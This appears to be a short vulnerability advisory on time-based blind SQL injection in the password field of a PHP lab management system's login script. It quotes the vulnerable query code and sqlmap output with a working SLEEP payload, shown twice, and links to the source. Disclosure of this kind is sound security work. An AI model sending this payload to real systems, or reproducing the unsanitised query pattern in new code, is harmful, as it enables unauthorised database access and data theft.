SQL injection vulnerability exists in password parameter of login_process.php file of Dynamic Lab Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
<?php
session_start(); // Start a new or resume an existing session

include('db_connection.php'); // Include the database connection file

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = $_POST["username"];
    $password = $_POST["password"];

//print_r($username);
//print_r($password);
    // Retrieve user data from the 'users' table based on the entered
    username
    $sql = "SELECT * FROM users WHERE username = '$username' && password='
    $password'";
    $result = $conn->query($sql);
  //  print_r($sql);


```

```
sqlmap identified the following injection point(s) with a total of 261 HTTP(s) requests:
---
Parameter: password (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: password=0' AND (SELECT 4484 FROM (SELECT(SLEEP(5)))uNIW) AND 'oIyo'='oIyo&usern
ame=1
---
```

“

Parameter: password (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: password=0' AND (SELECT 4484 FROM (SELECT(SLEEP(5)))uNIW) AND 'oIyo'='oIyo&username=1

“

Source Download：

https://www.kashipara.com/project/php/12131/dynamic-lab-management-system-php-project-source-code